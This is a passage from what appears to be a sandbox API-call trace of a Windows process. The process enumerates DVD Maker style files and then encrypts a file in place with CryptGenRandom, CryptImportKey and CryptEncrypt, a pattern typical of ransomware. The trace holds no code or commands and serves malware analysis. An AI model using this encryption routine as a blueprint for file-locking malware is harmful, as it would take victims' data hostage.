dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.101] GetLastError () returned 0x5 [0191.101] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.101] GetLastError () returned 0x5 [0191.102] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.102] GetLastError () returned 0x5 [0191.102] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.103] GetLastError () returned 0x5 [0191.103] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.103] GetLastError () returned 0x5 [0191.103] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.103] GetLastError () returned 0x5 [0191.103] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.104] GetLastError () returned 0x5 [0191.104] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.104] GetLastError () returned 0x5 [0191.104] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.104] GetLastError () returned 0x5 [0191.104] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.105] GetLastError () returned 0x5 [0191.105] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.105] GetLastError () returned 0x5 [0191.105] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.105] GetLastError () returned 0x5 [0191.105] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0191.106] GetProcessHeap () returned 0x2ef0000 [0191.106] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0191.106] GetProcessHeap () returned 0x2ef0000 [0191.106] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x72) returned 0x2f09d00 [0191.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0191.109] GetProcessHeap () returned 0x2ef0000 [0191.109] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0191.109] GetProcessHeap () returned 0x2ef0000 [0191.109] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x274) returned 0x2f47728 [0191.109] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.109] GetLastError () returned 0x5 [0191.109] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.110] GetLastError () returned 0x5 [0191.110] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.110] GetLastError () returned 0x5 [0191.110] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.111] GetLastError () returned 0x5 [0191.111] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.111] GetLastError () returned 0x5 [0191.111] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.112] GetLastError () returned 0x5 [0191.112] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.112] GetLastError () returned 0x5 [0191.112] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.112] GetLastError () returned 0x5 [0191.112] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.115] GetLastError () returned 0x5 [0191.115] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.115] GetLastError () returned 0x5 [0191.115] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.115] GetLastError () returned 0x5 [0191.115] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.116] GetLastError () returned 0x5 [0191.116] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.116] GetLastError () returned 0x5 [0191.116] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.117] GetLastError () returned 0x5 [0191.117] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.117] GetLastError () returned 0x5 [0191.117] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.117] GetLastError () returned 0x5 [0191.117] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.117] GetLastError () returned 0x5 [0191.117] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.118] GetLastError () returned 0x5 [0191.118] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.119] GetLastError () returned 0x5 [0191.119] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.119] GetLastError () returned 0x5 [0191.119] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.119] GetLastError () returned 0x5 [0191.119] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.120] GetLastError () returned 0x5 [0191.120] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.120] GetLastError () returned 0x5 [0191.120] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.120] GetLastError () returned 0x5 [0191.120] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.120] GetLastError () returned 0x5 [0191.121] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.121] GetLastError () returned 0x5 [0191.121] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0191.123] GetProcessHeap () returned 0x2ef0000 [0191.123] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0191.123] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.123] GetLastError () returned 0x5 [0191.123] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.123] GetLastError () returned 0x5 [0191.123] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.123] GetLastError () returned 0x5 [0191.123] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.124] GetLastError () returned 0x5 [0191.124] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.125] GetLastError () returned 0x5 [0191.125] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.125] GetLastError () returned 0x5 [0191.125] GetProcessHeap () returned 0x2ef0000 [0191.125] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x72) returned 0x2f09d00 [0191.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0191.127] GetProcessHeap () returned 0x2ef0000 [0191.127] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0191.127] GetProcessHeap () returned 0x2ef0000 [0191.127] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x274) returned 0x2f47728 [0191.127] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.128] GetLastError () returned 0x5 [0191.128] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.128] GetLastError () returned 0x5 [0191.128] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.128] GetLastError () returned 0x5 [0191.196] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.196] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0191.197] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0191.199] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18288) returned 1 [0191.199] CryptSetKeyParam (hKey=0x2f18288, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.199] GetProcessHeap () returned 0x2ef0000 [0191.199] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.199] CryptEncrypt (in: hKey=0x2f18288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0191.199] CryptDestroyKey (hKey=0x2f18288) returned 1 [0191.199] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0191.199] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0191.199] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0191.199] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0191.200] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0191.200] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0191.200] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18288) returned 1 [0191.200] CryptSetKeyParam (hKey=0x2f18288, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.200] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.200] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x1cc, lpOverlapped=0x0) returned 1 [0191.200] CryptEncrypt (in: hKey=0x2f18288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x1d0) returned 1 [0191.200] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.200] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x1d0, lpOverlapped=0x0) returned 1 [0191.200] CryptDestroyKey (hKey=0x2f18288) returned 1 [0191.200] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.200] SetEndOfFile (hFile=0x124) returned 1 [0191.203] GetProcessHeap () returned 0x2ef0000 [0191.203] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.203] 